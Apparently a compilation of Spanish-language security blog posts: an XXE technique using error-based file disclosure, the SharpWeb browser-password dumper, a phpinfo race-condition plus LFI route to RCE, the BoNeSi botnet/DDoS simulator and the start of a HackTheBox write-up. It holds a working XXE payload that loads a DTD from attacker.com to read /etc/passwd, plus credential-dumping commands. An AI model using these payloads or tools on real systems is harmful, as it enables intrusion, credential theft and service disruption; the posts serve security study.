Explotando XXE con archivos DTD locales

Arseniy Sharoglazov ha ideado una técnica para explotar XXE mediante archivos DTD locales.
Imaginemos que tenemos un XXE. Se soportan External entities pero la respuesta del servidor está siempre vacía. En este caso tenemos dos opciones: explotación basada en error o out-of-band. 

Veamos un ejemplo basado en error:

 Petición
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Respuesta
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

Contenidos de ext.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Como veis estamos utilizando un servidor externo para la entrega del payload.

¿Qué podemos hacer si hay un firewall entre nosotros y el servidor de destino? ¡Nada! Pero, ¿qué pasa si simplemente colocamos el contenido del DTD externo directamente en el DOCTYPE?

SharpWeb: un proyecto en .NET 2.0 para obtener las contraseñas guardadas en Google Chrome, Mozilla Firefox y Microsoft Internet Explorer/Edge

SharpWeb es una herramienta escrita por Dwight Hohnstein compatible con .NET 2.0 CLR que puede recuperar logins guardados de Google Chrome, Firefox, Internet Explorer y Microsoft Edge.

Este proyecto utiliza un parser de SQLite compatible con .NET 2.0 CLR de @plainprogrammer y un parser de ASN y helper de criptografía de @gourk para descifrar y analizar los archivos de login de FireFox.

En el futuro, este proyecto se ampliará para recuperar elementos de Cookies e Historial de estos navegadores.

Usage:

    .\SharpWeb.exe arg0 [arg1 arg2 ...]

Arguments:
    all       - Retrieve all Chrome, FireFox and IE/Edge credentials.
    full      - The same as 'all'
    chrome    - Fetch saved Chrome logins.
    firefox   - Fetch saved FireFox logins.
    edge      - Fetch saved Internet Explorer/Microsoft Edge logins.

Ejemplo: Obtención de credenciales de todos los navegadores

.\SharpWeb.exe all

Ejemplo: Obtención de credenciales de Edge y Firefox

.\SharpWeb.exe edge firefox


Proyecto: https://github.com/djhohnstein/SharpWeb

De una condición de carrera + LFI en phpinfo() a RCE

El indonesio Agus Setya R publicó una interesante técnica mediante la cual conseguía un RCE explotando una condición de carrera en phpinfo() en conjunción con un LFI.

¿Por qué puede ser peligrosa una simple página phpinfo()? Además de contener información muy sensible del servidor, resulta que phpinfo también puede manejar peticiones http como POST, GET, FILES y otros. Si enviamos una petición FILES a phpinfo, la petición se guardará en un archivo temporal durante un periodo de tiempo muy corto.

Gynvael Coldwind escribió un impresionante artículo sobre una Condición de Carrera que puede ser explotada usando la función de Subida de Archivos en PHP. Por cierto, php 5.5.9 es vulnerable a este problema.

Si cargamos un archivo, los datos se almacenan en un archivo temporal. Es decir, podemos insertar un archivo y luego llamar al archivo utilizando una vulnerabilidad del tipo LFI (Inclusión de archivos locales). Sin embargo, este proceso debe realizarse en un tiempo muy, muy rápido, antes de que el sistema elimine automáticamente el archivo temporal.
Archivo temporal creado como resultado de subir en phpinfo.

El escenario de ataque necesita por tanto multihilo para que el proceso llevado a cabo por el script del exploit pueda ser muy rápido. Lo que se hace es crear archivos temporales los cuales seguramente no se acumularán en el servidor porque en segundos desaparecerán rápidamente. En el proceso, se realiza una petición utilizando el LFI. Si de uno de los archivos temporales se llama con éxito entonces basta con que sea nuestro payload para obtener la preciada shell.

Writeup: http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
Exploit Code: https://gist.githubusercontent.com/intrd/35483ae252c66ee3d11f7acfa7379749/raw/76488b0d95a9fd7e5a2bd3c8bbc929a45590238f/phpinfo_exploit.py
Fuente: https://medium.com/@agussetyar/local-file-inclusion-via-phpinfo-exploit-race-condition-to-remote-code-execution-6d5470445afe

BoNeSi: simular una botnet para pruebas DDoS

BoNeSi es una herramienta para simular el tráfico de una Botnet con el objetivo de estudiar el efecto de los ataques DDoS.

¿Qué tráfico puede generar? Pues BoNeSi genera ataques de flooding ICMP, UDP y TCP (HTTP) simulando ser una botnet de un tamaño definido (diferentes direcciones IP). BoNeSi es altamente configurable y se pueden configurar distintos ratios, volumen de datos, direcciones IP de origen, URL y otros parámetros.

¿Qué lo hace diferente de otras herramientas? Existen muchas otras herramientas para falsificar direcciones IP con UDP e ICMP, pero para TCP no existe una solución. BoNeSi es la primera herramienta para simular floods HTTP-GET de redes de bots a gran escala. BoNeSi también trata de evitar generar paquetes con patrones fáciles de identificar (que se pueden filtrar fácilmente).

¿Dónde se puede ejecutar BoNeSi? Hasta su autor, Markus Goldstein, recomienda encarecidamente ejecutar BoNeSi en un entorno de prueba cerrado. Sin embargo, los ataques UDP e ICMP también pueden ejecutarse en Internet, pero se debe tener cuidado. Los ataques HTTP-Flooding no se pueden simular en Internet, porque las respuestas del servidor web deben enrutarse al host que ejecuta BoNeSi.

¿Cómo funciona TCP Spoofing? BoNeSi busca paquetes TCP en la interfaz de red y responde a todos los paquetes para establecer conexiones TCP. Para esta función, es necesario que todo el tráfico del servidor web de destino se enrute de nuevo al host que ejecuta BoNeSi

¿Qué tan bueno es el rendimiento de BoNeSi? Se centran mucho en el rendimiento para simular grandes botnets. En un AMD Opteron con 2Ghz pudieron generar hasta 150.000 paquetes por segundo. En un AMD Phenom II X6 1100T más reciente con 3,3 Ghz, puede generar 300.000 pps (que se ejecutan en 2 cores).

¿Son exitosos los ataques BoNeSi? Sí, son muy exitosos. Los ataques UDP/ICMP pueden saturar fácilmente el ancho de banda y los ataques HTTP-Flooding tiran rápidamente los servidores web. También probaron BoNeSi contra sistemas de mitigación DDoS comerciales de última generación y pudieron bloquearlos u ocultar el ataque para que no fuera detectado.

[HTB-writeup] Hawk

En este post haremos la máquina Hawk de HackTheBox. Es una maquina Linux de nivel medio. Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Enumeración

Como siempre, lo primero sera un escaneo puertos con nmap:

nmap 10.10.10.102


Antes de nada vamos a echarle un ojo a la web:


Es un drupal, antes de seguir indagando en esto vamos a revisar otros servicios.